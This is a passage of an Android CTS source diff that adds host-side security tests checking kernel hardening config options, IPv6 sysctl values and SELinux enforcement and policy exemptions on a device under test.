+        mSysctlDirs = getSysctlDirs();
+    }
+
+    private String[] getSysctlDirs() throws Exception {
+        String interfaceDirs[] = mDevice.executeAdbCommand("shell", "ls", "-1",
+                IPV6_SYSCTL_DIR).split("\n");
+        List<String> interfaceDirsList = new ArrayList<String>(Arrays.asList(interfaceDirs));
+        interfaceDirsList.remove("all");
+        interfaceDirsList.remove("lo");
+        return interfaceDirsList.toArray(new String[interfaceDirsList.size()]);
+    }
+
+
+    protected void assertLess(String sysctl, int a, int b) {
+        assertTrue("value of " + sysctl + ": expected < " + b + " but was: " + a, a < b);
+    }
+
+    protected void assertAtLeast(String sysctl, int a, int b) {
+        assertTrue("value of " + sysctl + ": expected >= " + b + " but was: " + a, a >= b);
+    }
+
+    public int readIntFromPath(String path) throws Exception {
+        String mode = mDevice.executeAdbCommand("shell", "stat", "-c", "%a", path).trim();
+        String user = mDevice.executeAdbCommand("shell", "stat", "-c", "%u", path).trim();
+        String group = mDevice.executeAdbCommand("shell", "stat", "-c", "%g", path).trim();
+        assertEquals(mode, "644");
+        assertEquals(user, "0");
+        assertEquals(group, "0");
+        return Integer.parseInt(mDevice.executeAdbCommand("shell", "cat", path).trim());
+    }
+
+    /**
+     * Checks that SPI default timeouts are overridden, and set to a reasonable length of time
+     */
+    public void testMinAcqExpires() throws Exception {
+        int value = readIntFromPath(SPI_TIMEOUT_SYSCTL);
+        assertAtLeast(SPI_TIMEOUT_SYSCTL, value, MIN_ACQ_EXPIRES);
+    }
+
+    /**
+     * Checks that the sysctls for multinetwork kernel features are present and
+     * enabled.
+     */
+    public void testProcSysctls() throws Exception {
+        for (String sysctl : GLOBAL_SYSCTLS) {
+            int value = readIntFromPath(sysctl);
+            assertEquals(sysctl, 1, value);
+        }
+
+        for (String interfaceDir : mSysctlDirs) {
+            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + AUTOCONF_SYSCTL;
+            int value = readIntFromPath(path);
+            assertLess(path, value, 0);
+        }
+    }
+
+    /**
+     * Verify that accept_ra_rt_info_{min,max}_plen exists and is set to the expected value
+     */
+    public void testAcceptRaRtInfoMinMaxPlen() throws Exception {
+        for (String interfaceDir : mSysctlDirs) {
+            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "accept_ra_rt_info_min_plen";
+            int value = readIntFromPath(path);
+            assertEquals(path, value, ACCEPT_RA_RT_INFO_MIN_PLEN_VALUE);
+            path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "accept_ra_rt_info_max_plen";
+            value = readIntFromPath(path);
+            assertEquals(path, value, ACCEPT_RA_RT_INFO_MAX_PLEN_VALUE);
+        }
+    }
+
+    /**
+     * Verify that router_solicitations exists and is set to the expected value
+     * and verify that router_solicitation_max_interval exists and is in an acceptable interval.
+     */
+    public void testRouterSolicitations() throws Exception {
+        for (String interfaceDir : mSysctlDirs) {
+            String path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "router_solicitations";
+            int value = readIntFromPath(path);
+            assertEquals(IPV6_WIFI_ROUTER_SOLICITATIONS, value);
+            path = IPV6_SYSCTL_DIR + "/" + interfaceDir + "/" + "router_solicitation_max_interval";
+            int interval = readIntFromPath(path);
+            final int lowerBoundSec = 15 * 60;
+            final int upperBoundSec = 60 * 60;
+            assertTrue(lowerBoundSec <= interval);
+            assertTrue(interval <= upperBoundSec);
+        }
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
index be1b6b0..bcded5b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
@@ -30,4 +30,6 @@
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
+LOCAL_USE_AAPT2 := true
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
new file mode 100644
index 0000000..bec7a9c
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.CpuFeatures;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStreamReader;
+import java.lang.String;
+import java.util.stream.Collectors;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Host-side kernel config tests.
+ *
+ * These tests analyze /proc/config.gz to verify that certain kernel config options are set.
+ */
+public class KernelConfigTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+
+    private static final Map<ITestDevice, HashSet<String>> cachedConfigGzSet = new HashMap<>(1);
+
+    private HashSet<String> configSet;
+
+    private ITestDevice mDevice;
+    private IBuildInfo mBuild;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo build) {
+        mBuild = build;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        super.setDevice(device);
+        mDevice = device;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        configSet = getDeviceConfig(mDevice, cachedConfigGzSet);
+    }
+
+    /*
+     * IMPLEMENTATION DETAILS: Cache the configurations from /proc/config.gz on per-device basis
+     * in case CTS is being run against multiple devices at the same time. This speeds up testing
+     * by avoiding pulling/parsing the config file for each individual test
+     */
+    private static HashSet<String> getDeviceConfig(ITestDevice device,
+            Map<ITestDevice, HashSet<String>> cache) throws Exception {
+        if (!device.doesFileExist("/proc/config.gz")){
+            throw new Exception();
+        }
+        HashSet<String> set;
+        synchronized (cache) {
+            set = cache.get(device);
+        }
+        if (set != null) {
+            return set;
+        }
+        File file = File.createTempFile("config.gz", ".tmp");
+        file.deleteOnExit();
+        device.pullFile("/proc/config.gz", file);
+
+        BufferedReader reader = new BufferedReader(new InputStreamReader(new GZIPInputStream(new FileInputStream(file))));
+        set = new HashSet<String>(reader.lines().collect(Collectors.toList()));
+
+        synchronized (cache) {
+            cache.put(device, set);
+        }
+        return set;
+    }
+
+    /**
+     * Test that the kernel has Stack Protector Strong enabled.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigStackProtectorStrong() throws Exception {
+        assertTrue("Linux kernel must have Stack Protector enabled: " +
+                "CONFIG_CC_STACKPROTECTOR_STRONG=y",
+                configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
+    }
+
+    /**
+     * Test that the kernel's executable code is read-only, read-only data is non-executable and
+     * non-writable, and writable data is non-executable.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigROData() throws Exception {
+        if (configSet.contains("CONFIG_UH_RKP=y"))
+            return;
+
+        assertTrue("Linux kernel must have RO data enabled: " +
+                "CONFIG_DEBUG_RODATA=y or CONFIG_STRICT_KERNEL_RWX=y",
+                configSet.contains("CONFIG_DEBUG_RODATA=y") ||
+                configSet.contains("CONFIG_STRICT_KERNEL_RWX=y"));
+
+        if (configSet.contains("CONFIG_MODULES=y")) {
+            assertTrue("Linux kernel modules must also have RO data enabled: " +
+                    "CONFIG_DEBUG_SET_MODULE_RONX=y or CONFIG_STRICT_MODULE_RWX=y",
+                    configSet.contains("CONFIG_DEBUG_SET_MODULE_RONX=y") ||
+                    configSet.contains("CONFIG_STRICT_MODULE_RWX=y"));
+        }
+    }
+
+    /**
+     * Test that the kernel implements static and dynamic object size bounds checking of copies
+     * between user-space and kernel-space.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigHardenedUsercopy() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
+            return;
+        }
+
+        assertTrue("Linux kernel must have Hardened Usercopy enabled: CONFIG_HARDENED_USERCOPY=y",
+                configSet.contains("CONFIG_HARDENED_USERCOPY=y"));
+    }
+
+    /**
+     * Test that the kernel has PAN emulation enabled from architectures that support it.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigPAN() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
+            return;
+        }
+
+        if (CpuFeatures.isArm64(mDevice)) {
+            assertTrue("Linux kernel must have PAN emulation enabled: " +
+                    "CONFIG_ARM64_SW_TTBR0_PAN=y or CONFIG_ARM64_PAN=y",
+                    (configSet.contains("CONFIG_ARM64_SW_TTBR0_PAN=y") ||
+                    configSet.contains("CONFIG_ARM64_PAN=y")));
+        } else if (CpuFeatures.isArm32(mDevice)) {
+            assertTrue("Linux kernel must have PAN emulation enabled: CONFIG_CPU_SW_DOMAIN_PAN=y",
+                    configSet.contains("CONFIG_CPU_SW_DOMAIN_PAN=y"));
+        }
+    }
+
+    /**
+     * Test that the kernel has KTPI enabled for architectures and kernel versions that support it.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigKTPI() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
+            return;
+        }
+
+        if (CpuFeatures.isArm64(mDevice) && !CpuFeatures.kernelVersionLessThan(mDevice, 4, 4)) {
+            assertTrue("Linux kernel must have KPTI enabled: CONFIG_UNMAP_KERNEL_AT_EL0=y",
+                    configSet.contains("CONFIG_UNMAP_KERNEL_AT_EL0=y"));
+        } else if (CpuFeatures.isX86(mDevice)) {
+            assertTrue("Linux kernel must have KPTI enabled: CONFIG_PAGE_TABLE_ISOLATION=y",
+                    configSet.contains("CONFIG_PAGE_TABLE_ISOLATION=y"));
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
new file mode 100644
index 0000000..cc423db
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
@@ -0,0 +1,1335 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.RestrictedBuildTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.lang.String;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.Scanner;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+/**
+ * Host-side SELinux tests.
+ *
+ * These tests analyze the policy file in use on the subject device directly or
+ * run as the shell user to evaluate aspects of the state of SELinux on the test
+ * device which otherwise would not be available to a normal apk.
+ */
+public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+
+    private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDevicePlatFcFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceNonplatFcFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceVendorManifest = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceSystemPolicy = new HashMap<>(1);
+
+    private File sepolicyAnalyze;
+    private File checkSeapp;
+    private File checkFc;
+    private File aospSeappFile;
+    private File aospFcFile;
+    private File aospPcFile;
+    private File aospSvcFile;
+    private File devicePolicyFile;
+    private File devicePlatSeappFile;
+    private File deviceNonplatSeappFile;
+    private File devicePlatFcFile;
+    private File deviceNonplatFcFile;
+    private File devicePcFile;
+    private File deviceSvcFile;
+    private File seappNeverAllowFile;
+    private File libsepolwrap;
+    private File libcpp;
+    private File sepolicyTests;
+
+    private IBuildInfo mBuild;
+
+    /**
+     * A reference to the device under test.
+     */
+    private ITestDevice mDevice;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo build) {
+        mBuild = build;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        super.setDevice(device);
+        mDevice = device;
+    }
+
+    public static File copyResourceToTempFile(String resName) throws IOException {
+        InputStream is = SELinuxHostTest.class.getResourceAsStream(resName);
+        File tempFile = File.createTempFile("SELinuxHostTest", ".tmp");
+        FileOutputStream os = new FileOutputStream(tempFile);
+        byte[] buf = new byte[1024];
+        int len;
+
+        while ((len = is.read(buf)) != -1) {
+            os.write(buf, 0, len);
+        }
+        os.flush();
+        os.close();
+        tempFile.deleteOnExit();
+        return tempFile;
+    }
+
+    private static void appendTo(String dest, String src) throws IOException {
+        try (FileInputStream is = new FileInputStream(new File(src));
+             FileOutputStream os = new FileOutputStream(new File(dest))) {
+            byte[] buf = new byte[1024];
+            int len;
+
+            while ((len = is.read(buf)) != -1) {
+                os.write(buf, 0, len);
+            }
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
+        sepolicyAnalyze.setExecutable(true);
+
+        devicePolicyFile = getDevicePolicyFile(mDevice);
+        if (isSepolicySplit(mDevice)) {
+            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
+                    "/system/etc/selinux/plat_file_contexts", "plat_file_contexts");
+            if (mDevice.doesFileExist("/vendor/etc/selinux/nonplat_file_contexts")){
+                // Old nonplat_* naming can be present if a framework-only OTA was done.
+                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                        "/vendor/etc/selinux/nonplat_file_contexts", "nonplat_file_contexts");
+            } else {
+                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                        "/vendor/etc/selinux/vendor_file_contexts", "vendor_file_contexts");
+            }
+        } else {
+            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
+                    "/plat_file_contexts", "plat_file_contexts");
+            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                    "/vendor_file_contexts", "vendor_file_contexts");
+        }
+    }
+
+    /*
+     * IMPLEMENTATION DETAILS: We cache some host-side policy files on per-device basis (in case
+     * CTS supports running against multiple devices at the same time). HashMap is used instead
+     * of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
+     * corresponding File objects from being garbage-collected is not a big deal in CTS. If this
+     * becomes a big deal, this can be switched to WeakHashMap.
+     */
+    private static File getDeviceFile(ITestDevice device,
+            Map<ITestDevice, File> cache, String deviceFilePath,
+            String tmpFileName) throws Exception {
+        if (!device.doesFileExist(deviceFilePath)){
+            throw new Exception();
+        }
+        File file;
+        synchronized (cache) {
+            file = cache.get(device);
+        }
+        if (file != null) {
+            return file;
+        }
+        file = File.createTempFile(tmpFileName, ".tmp");
+        file.deleteOnExit();
+        device.pullFile(deviceFilePath, file);
+        synchronized (cache) {
+            cache.put(device, file);
+        }
+        return file;
+    }
+
+    private static File buildSystemPolicy(ITestDevice device, Map<ITestDevice, File> cache,
+            String tmpFileName) throws Exception {
+        File builtPolicyFile;
+        synchronized (cache) {
+            builtPolicyFile = cache.get(device);
+        }
+        if (builtPolicyFile != null) {
+            return builtPolicyFile;
+        }
+
+
+        builtPolicyFile = File.createTempFile(tmpFileName, ".tmp");
+        builtPolicyFile.deleteOnExit();
+
+        File secilc = copyResourceToTempFile("/secilc");
+        secilc.setExecutable(true);
+
+        File systemSepolicyCilFile = File.createTempFile("plat_sepolicy", ".cil");
+        systemSepolicyCilFile.deleteOnExit();
+
+        assertTrue(device.pullFile("/system/etc/selinux/plat_sepolicy.cil", systemSepolicyCilFile));
+
+        ProcessBuilder pb = new ProcessBuilder(
+            secilc.getAbsolutePath(),
+            "-m", "-M", "true", "-c", "30",
+            "-o", builtPolicyFile.getAbsolutePath(),
+            systemSepolicyCilFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue(errorString.toString(), errorString.length() == 0);
+
+        synchronized (cache) {
+            cache.put(device, builtPolicyFile);
+        }
+        return builtPolicyFile;
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the host-side file containing the SELinux policy of the device under test.
+     */
+    public static File getDevicePolicyFile(ITestDevice device) throws Exception {
+        return getDeviceFile(device, cachedDevicePolicyFiles, "/sys/fs/selinux/policy", "sepolicy");
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the host-side file containing the system SELinux policy of the device under test.
+     */
+    public static File getDeviceSystemPolicyFile(ITestDevice device) throws Exception {
+        return buildSystemPolicy(device, cachedDeviceSystemPolicy, "system_sepolicy");
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the major number of sepolicy version of device's vendor implementation.
+     * TODO(b/37999212): Use VINTF object API instead of parsing vendor manifest.
+     */
+    public static int getVendorSepolicyVersion(ITestDevice device) throws Exception {
+        String deviceManifestPath =
+                (device.doesFileExist("/vendor/etc/vintf/manifest.xml")) ?
+                "/vendor/etc/vintf/manifest.xml" :
+                "/vendor/manifest.xml";
+        File vendorManifestFile = getDeviceFile(device, cachedDeviceVendorManifest,
+                deviceManifestPath, "manifest.xml");
+
+        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+        DocumentBuilder db = dbf.newDocumentBuilder();
+        Document doc = db.parse(vendorManifestFile);
+        Element root = doc.getDocumentElement();
+        Element sepolicy = (Element) root.getElementsByTagName("sepolicy").item(0);
+        Element version = (Element) sepolicy.getElementsByTagName("version").item(0);
+        String sepolicyVersion = version.getTextContent().split("\\.")[0];
+        return Integer.parseInt(sepolicyVersion);
+    }
+
+    /**
+     * Tests that the kernel is enforcing selinux policy globally.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testGlobalEnforcing() throws Exception {
+        CollectingOutputReceiver out = new CollectingOutputReceiver();
+        mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
+        assertEquals("SELinux policy is not being enforced!", "1", out.getOutput());
+    }
+
+    /**
+     * Tests that all domains in the running policy file are in enforcing mode
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    @RestrictedBuildTest
+    public void testAllDomainsEnforcing() throws Exception {
+
+        /* run sepolicy-analyze permissive check on policy file */
+        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(), "permissive");
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The following SELinux domains were found to be in permissive mode:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Asserts that specified type is not associated with the specified
+     * attribute.
+     *
+     * @param attribute
+     *  The attribute name.
+     * @param type
+     *  The type name.
+     */
+    private void assertNotInAttribute(String attribute, String badtype) throws Exception {
+        Set<String> actualTypes = sepolicyAnalyzeGetTypesAssociatedWithAttribute(attribute);
+        if (actualTypes.contains(badtype)) {
+            fail("Attribute " + attribute + " includes " + badtype);
+        }
+    }
+
+    private static final byte[] readFully(InputStream in) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        byte[] buf = new byte[65536];
+        int chunkSize;
+        while ((chunkSize = in.read(buf)) != -1) {
+            result.write(buf, 0, chunkSize);
+        }
+        return result.toByteArray();
+    }
+
+    /**
+     * Runs sepolicy-analyze against the device's SELinux policy and returns the set of types
+     * associated with the provided attribute.
+     */
+    private Set<String> sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+            String attribute) throws Exception {
+        ProcessBuilder pb =
+                new ProcessBuilder(
+                        sepolicyAnalyze.getAbsolutePath(),
+                        devicePolicyFile.getAbsolutePath(),
+                        "attribute",
+                        attribute);
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        int errorCode = p.waitFor();
+        if (errorCode != 0) {
+            fail("sepolicy-analyze attribute " + attribute + " failed with error code " + errorCode
+                    + ": " + new String(readFully(p.getInputStream())));
+        }
+        try (BufferedReader in =
+                new BufferedReader(new InputStreamReader(p.getInputStream()))) {
+            Set<String> types = new HashSet<>();
+            String type;
+            while ((type = in.readLine()) != null) {
+                types.add(type.trim());
+            }
+            return types;
+        }
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device is required to be a full Treble device.
+     */
+    public static boolean isFullTrebleDevice(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return PropertyUtil.getFirstApiLevel(device) > 26 &&
+                PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true");
+    }
+
+    private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
+        return isFullTrebleDevice(mDevice);
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device is required to enforce compatible property.
+     */
+    public static boolean isCompatiblePropertyEnforcedDevice(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return PropertyUtil.propertyEquals(
+                device, "ro.actionable_compatible_property.enabled", "true");
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns {@code true} if this device has sepolicy split across different paritions.
+     * This is possible even for devices launched at api level higher than 26.
+     */
+    public static boolean isSepolicySplit(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return device.doesFileExist("/system/etc/selinux/plat_file_contexts");
+    }
+
+    /**
+     * Asserts that no vendor domains are exempted from the prohibition on Binder use.
+     *
+     * <p>NOTE: binder_in_vendor_violators attribute is only there to help bring up Treble devices.
+     * It offers a convenient way to temporarily bypass the prohibition on Binder use in vendor
+     * domains. This attribute must not be used on production Treble devices.
+     */
+    public void testNoExemptionsForBinderInVendorBan() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+            sepolicyAnalyzeGetTypesAssociatedWithAttribute("binder_in_vendor_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts vendor domains from ban on Binder: " + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no HAL server domains are exempted from the prohibition of socket use with the
+     * only exceptions for the automotive device type.
+     */
+    public void testNoExemptionsForSocketsUseWithinHalServer() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        if (getDevice().hasFeature("android.hardware.type.automotive")) {
+            return;
+        }
+
+        Set<String> types = sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                "hal_automotive_socket_exemption");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts domains from ban on socket usage from HAL servers: "
+                    + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no domains are exempted from the prohibition on initiating socket communications
+     * between core and vendor domains.
+     *
+     * <p>NOTE: socket_between_core_and_vendor_violators attribute is only there to help bring up
+     * Treble devices. It offers a convenient way to temporarily bypass the prohibition on
+     * initiating socket communications between core and vendor domains. This attribute must not be
+     * used on production Treble devices.
+     */
+    public void testNoExemptionsForSocketsBetweenCoreAndVendorBan() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                        "socket_between_core_and_vendor_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts domains from ban on socket communications between core and"
+                    + " vendor: " + sortedTypes);
+        }
+    }
+
+    /**
+     * Asserts that no vendor domains are exempted from the prohibition on directly
+     * executing binaries from /system.
+     * */
+    public void testNoExemptionsForVendorExecutingCore() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+                        "vendor_executes_system_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts vendor domains from ban on executing files in /system: "
+                    + sortedTypes);
+        }
+    }
+
+    /**
+     * Tests that mlstrustedsubject does not include untrusted_app
+     * and that mlstrustedobject does not include app_data_file.
+     * This helps prevent circumventing the per-user isolation of
+     * normal apps via levelFrom=user.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testMLSAttributes() throws Exception {
+        assertNotInAttribute("mlstrustedsubject", "untrusted_app");
+        assertNotInAttribute("mlstrustedobject", "app_data_file");
+    }
+
+    /**
+     * Tests that the seapp_contexts file on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidSeappContexts() throws Exception {
+
+        /* obtain seapp_contexts file from running device */
+        devicePlatSeappFile = File.createTempFile("plat_seapp_contexts", ".tmp");
+        devicePlatSeappFile.deleteOnExit();
+        deviceNonplatSeappFile = File.createTempFile("nonplat_seapp_contexts", ".tmp");
+        deviceNonplatSeappFile.deleteOnExit();
+        if (mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
+            mDevice.pullFile("/vendor/etc/selinux/nonplat_seapp_contexts", deviceNonplatSeappFile);
+        }else {
+            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
+            mDevice.pullFile("/nonplat_seapp_contexts", deviceNonplatSeappFile);
+	}
+
+        /* retrieve the checkseapp executable from jar */
+        checkSeapp = copyResourceToTempFile("/checkseapp");
+        checkSeapp.setExecutable(true);
+
+        /* retrieve the AOSP seapp_neverallows file from jar */
+        seappNeverAllowFile = copyResourceToTempFile("/plat_seapp_neverallows");
+
+        /* run checkseapp on seapp_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkSeapp.getAbsolutePath(),
+                "-p", devicePolicyFile.getAbsolutePath(),
+                seappNeverAllowFile.getAbsolutePath(),
+                devicePlatSeappFile.getAbsolutePath(),
+                deviceNonplatSeappFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The seapp_contexts file was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Asserts that the actual file contents starts with the expected file
+     * contents.
+     *
+     * @param expectedFile
+     *  The file with the expected contents.
+     * @param actualFile
+     *  The actual file being checked.
+     */
+    private void assertFileStartsWith(File expectedFile, File actualFile) throws Exception {
+        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
+        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
